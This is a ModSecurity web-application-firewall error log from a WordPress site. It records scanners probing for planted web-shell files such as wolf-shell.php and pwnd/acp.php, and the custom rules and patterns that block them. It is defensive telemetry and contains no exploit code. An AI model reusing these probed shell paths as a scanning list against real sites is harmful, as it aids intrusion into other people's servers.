[Tue Mar 03 00:54:27.415450 2026] [:error] [pid 60214:tid 60223] [client 158.158.41.149:5789] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaXAw4muQ_v4S3RkLivoiQAAAQc"]
[Tue Mar 03 00:54:28.908959 2026] [:error] [pid 18960:tid 18977] [client 158.158.41.149:7192] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaXAxNCu09icM9oIHwDPsQAAAM4"]
[Tue Mar 03 00:54:30.391923 2026] [:error] [pid 18556:tid 18779] [client 158.158.41.149:4598] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaXAxn9AYyTTd2eEk9E3DgAAABc"]
[Tue Mar 03 00:54:33.761160 2026] [:error] [pid 18558:tid 18872] [client 158.158.41.149:7222] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "aaXAybO1kQHjTOLioCm2IgAAAJI"]
[Tue Mar 03 00:54:36.493368 2026] [:error] [pid 18557:tid 18826] [client 158.158.41.149:23641] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "aaXAzNngZqR9Tp8JM0FSYQAAAEQ"]
[Tue Mar 03 00:54:40.045433 2026] [:error] [pid 18557:tid 18830] [client 158.158.41.149:10014] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "aaXA0NngZqR9Tp8JM0FSZgAAAEg"]
[Tue Mar 03 00:54:40.823757 2026] [:error] [pid 60214:tid 60239] [client 158.158.41.149:25897] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "aaXA0ImuQ_v4S3RkLivooAAAARc"]
[Tue Mar 03 00:54:41.540428 2026] [:error] [pid 18558:tid 18864] [client 158.158.41.149:13321] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaXA0bO1kQHjTOLioCm2OAAAAIo"]
[Tue Mar 03 00:54:42.197037 2026] [:error] [pid 60214:tid 60217] [client 158.158.41.149:4500] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaXA0omuQ_v4S3RkLivoowAAAQE"]
[Tue Mar 03 00:54:43.494016 2026] [:error] [pid 60214:tid 60219] [client 158.158.41.149:32751] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaXA04muQ_v4S3RkLivopwAAAQM"]
[Tue Mar 03 00:54:44.928208 2026] [:error] [pid 18558:tid 18865] [client 158.158.41.149:9734] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaXA1LO1kQHjTOLioCm2QgAAAIs"]
[Tue Mar 03 00:54:46.146265 2026] [:error] [pid 18558:tid 18867] [client 158.158.41.149:5835] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaXA1rO1kQHjTOLioCm2RAAAAI0"]
[Tue Mar 03 00:54:47.446078 2026] [:error] [pid 18556:tid 18764] [client 158.158.41.149:9752] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaXA139AYyTTd2eEk9E3IgAAAAk"]
[Tue Mar 03 00:54:48.264516 2026] [:error] [pid 18556:tid 18773] [client 158.158.41.149:5769] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaXA2H9AYyTTd2eEk9E3JQAAABE"]
[Tue Mar 03 01:02:45.895429 2026] [:error] [pid 18556:tid 18762] [client 208.74.105.183:59268] [client 208.74.105.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.74.105.183, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaXCtX9AYyTTd2eEk9E5IQAAAAc"]
[Tue Mar 03 01:03:43.255493 2026] [:error] [pid 18556:tid 18758] [client 168.232.229.138:53602] [client 168.232.229.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.232.229.138, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaXC739AYyTTd2eEk9E5SAAAAAM"]
[Tue Mar 03 01:26:38.164489 2026] [:error] [pid 18558:tid 18854] [client 20.151.217.152:51489] [client 20.151.217.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaXITrO1kQHjTOLioCnB_AAAAIA"]
[Tue Mar 03 01:26:42.461686 2026] [:error] [pid 60214:tid 60228] [client 20.151.217.152:59893] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as1337.php"] [unique_id "aaXIUomuQ_v4S3RkLisA0AAAAQw"]
[Tue Mar 03 01:26:42.872758 2026] [:error] [pid 18960:tid 18971] [client 20.151.217.152:59474] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as1337.php"] [unique_id "aaXIUtCu09icM9oIHwDgZQAAAMg"]
[Tue Mar 03 01:26:43.297946 2026] [:error] [pid 18557:tid 18835] [client 20.151.217.152:64012] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as1337.php"] [unique_id "aaXIU9ngZqR9Tp8JM0FbpAAAAEw"]
[Tue Mar 03 01:26:43.720657 2026] [:error] [pid 60214:tid 60221] [client 20.151.217.152:1742] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as1337.php"] [unique_id "aaXIU4muQ_v4S3RkLisA1gAAAQU"]
[Tue Mar 03 01:26:44.134529 2026] [:error] [pid 60214:tid 60228] [client 20.151.217.152:41413] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaXIVImuQ_v4S3RkLisA2gAAAQw"]
[Tue Mar 03 01:26:44.546537 2026] [:error] [pid 60214:tid 60233] [client 20.151.217.152:1735] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaXIVImuQ_v4S3RkLisA3AAAARE"]
[Tue Mar 03 01:26:44.973244 2026] [:error] [pid 60214:tid 60218] [client 20.151.217.152:52089] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaXIVImuQ_v4S3RkLisA4AAAAQI"]
[Tue Mar 03 01:26:45.384662 2026] [:error] [pid 60214:tid 60232] [client 20.151.217.152:51513] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaXIVYmuQ_v4S3RkLisA4wAAARA"]
[Tue Mar 03 01:26:45.799948 2026] [:error] [pid 60214:tid 60234] [client 20.151.217.152:61327] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolf-shell.php"] [unique_id "aaXIVYmuQ_v4S3RkLisA6AAAARI"]
[Tue Mar 03 01:26:46.212042 2026] [:error] [pid 60214:tid 60226] [client 20.151.217.152:1340] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolf-shell.php"] [unique_id "aaXIVomuQ_v4S3RkLisA6gAAAQo"]
[Tue Mar 03 01:26:46.625362 2026] [:error] [pid 60214:tid 60237] [client 20.151.217.152:61340] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolf-shell.php"] [unique_id "aaXIVomuQ_v4S3RkLisA7gAAARU"]
[Tue Mar 03 01:26:47.039292 2026] [:error] [pid 18557:tid 18828] [client 20.151.217.152:41425] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolf-shell.php"] [unique_id "aaXIV9ngZqR9Tp8JM0FbqAAAAEY"]
[Tue Mar 03 01:26:47.451380 2026] [:error] [pid 18557:tid 18838] [client 20.151.217.152:51467] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aaXIV9ngZqR9Tp8JM0FbqQAAAE8"]
[Tue Mar 03 01:26:47.862726 2026] [:error] [pid 18960:tid 18987] [client 20.151.217.152:28230] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aaXIV9Cu09icM9oIHwDgZwAAANg"]
[Tue Mar 03 01:26:48.273837 2026] [:error] [pid 18558:tid 18869] [client 20.151.217.152:59896] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aaXIWLO1kQHjTOLioCnCBgAAAI8"]
[Tue Mar 03 01:26:48.692302 2026] [:error] [pid 18558:tid 18864] [client 20.151.217.152:52081] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aaXIWLO1kQHjTOLioCnCCgAAAIo"]
[Tue Mar 03 01:26:49.103498 2026] [:error] [pid 60214:tid 60216] [client 20.151.217.152:37840] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zeal.php"] [unique_id "aaXIWYmuQ_v4S3RkLisA9wAAAQA"]
[Tue Mar 03 01:26:49.517112 2026] [:error] [pid 18558:tid 18875] [client 20.151.217.152:37859] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zeal.php"] [unique_id "aaXIWbO1kQHjTOLioCnCDAAAAJU"]
[Tue Mar 03 01:26:49.930344 2026] [:error] [pid 18557:tid 18846] [client 20.151.217.152:37876] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zeal.php"] [unique_id "aaXIWdngZqR9Tp8JM0FbrgAAAFc"]
[Tue Mar 03 01:26:50.347585 2026] [:error] [pid 60214:tid 60240] [client 20.151.217.152:37885] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zeal.php"] [unique_id "aaXIWomuQ_v4S3RkLisA-gAAARg"]
[Tue Mar 03 01:26:50.764637 2026] [:error] [pid 18558:tid 18877] [client 20.151.217.152:1729] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asf.php"] [unique_id "aaXIWrO1kQHjTOLioCnCEgAAAJc"]
[Tue Mar 03 01:26:51.177265 2026] [:error] [pid 18960:tid 18973] [client 20.151.217.152:59508] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asf.php"] [unique_id "aaXIW9Cu09icM9oIHwDgcQAAAMo"]
[Tue Mar 03 01:26:51.590440 2026] [:error] [pid 60214:tid 60235] [client 20.151.217.152:61333] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asf.php"] [unique_id "aaXIW4muQ_v4S3RkLisA_QAAARM"]
[Tue Mar 03 01:26:52.004591 2026] [:error] [pid 60214:tid 60240] [client 20.151.217.152:52051] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asf.php"] [unique_id "aaXIXImuQ_v4S3RkLisBAAAAARg"]
[Tue Mar 03 01:26:52.417588 2026] [:error] [pid 18960:tid 18972] [client 20.151.217.152:41431] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php"] [unique_id "aaXIXNCu09icM9oIHwDgdQAAAMk"]
[Tue Mar 03 01:26:52.830874 2026] [:error] [pid 18558:tid 18855] [client 20.151.217.152:59870] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php"] [unique_id "aaXIXLO1kQHjTOLioCnCGQAAAIE"]
[Tue Mar 03 01:26:53.250103 2026] [:error] [pid 18557:tid 18825] [client 20.151.217.152:51474] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php"] [unique_id "aaXIXdngZqR9Tp8JM0FbuQAAAEM"]
[Tue Mar 03 01:26:53.664653 2026] [:error] [pid 18556:tid 18776] [client 20.151.217.152:37829] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php"] [unique_id "aaXIXX9AYyTTd2eEk9E-qQAAABQ"]
[Tue Mar 03 01:38:55.302379 2026] [:error] [pid 60214:tid 60222] [client 78.124.95.193:20741] [client 78.124.95.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.124.95.193, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaXLL4muQ_v4S3RkLisKtgAAAQY"]
[Tue Mar 03 01:52:12.565725 2026] [:error] [pid 18558:tid 18858] [client 20.151.114.166:43531] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class_api.php"] [unique_id "aaXOTLO1kQHjTOLioCnL_gAAAIQ"]
[Tue Mar 03 01:52:13.397013 2026] [:error] [pid 18960:tid 18987] [client 20.151.114.166:43537] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class_api.php"] [unique_id "aaXOTdCu09icM9oIHwDvngAAANg"]
[Tue Mar 03 01:52:14.229437 2026] [:error] [pid 18558:tid 18867] [client 20.151.114.166:43560] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class_api.php"] [unique_id "aaXOTrO1kQHjTOLioCnMDwAAAI0"]
[Tue Mar 03 01:52:15.055938 2026] [:error] [pid 18960:tid 18984] [client 20.151.114.166:43582] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class_api.php"] [unique_id "aaXOT9Cu09icM9oIHwDvpAAAANU"]
[Tue Mar 03 02:58:25.253170 2026] [:error] [pid 18557:tid 18846] [client 20.151.217.152:35475] [client 20.151.217.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaXd0dngZqR9Tp8JM0F47wAAAFc"]
[Tue Mar 03 02:58:25.674795 2026] [:error] [pid 18557:tid 18843] [client 20.151.217.152:35456] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/acp.php"] [unique_id "aaXd0dngZqR9Tp8JM0F48QAAAFQ"]
[Tue Mar 03 02:58:26.106358 2026] [:error] [pid 18960:tid 18963] [client 20.151.217.152:35464] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/acp.php"] [unique_id "aaXd0tCu09icM9oIHwAYtgAAAMA"]
[Tue Mar 03 02:58:26.516347 2026] [:error] [pid 18557:tid 18819] [client 20.151.217.152:35576] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/acp.php"] [unique_id "aaXd0tngZqR9Tp8JM0F49QAAAEA"]
[Tue Mar 03 04:43:19.581156 2026] [:error] [pid 36783:tid 36811] [client 43.166.136.153:33542] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaX2Zz4tNYh5NtLaTXfv4AAAABE"]
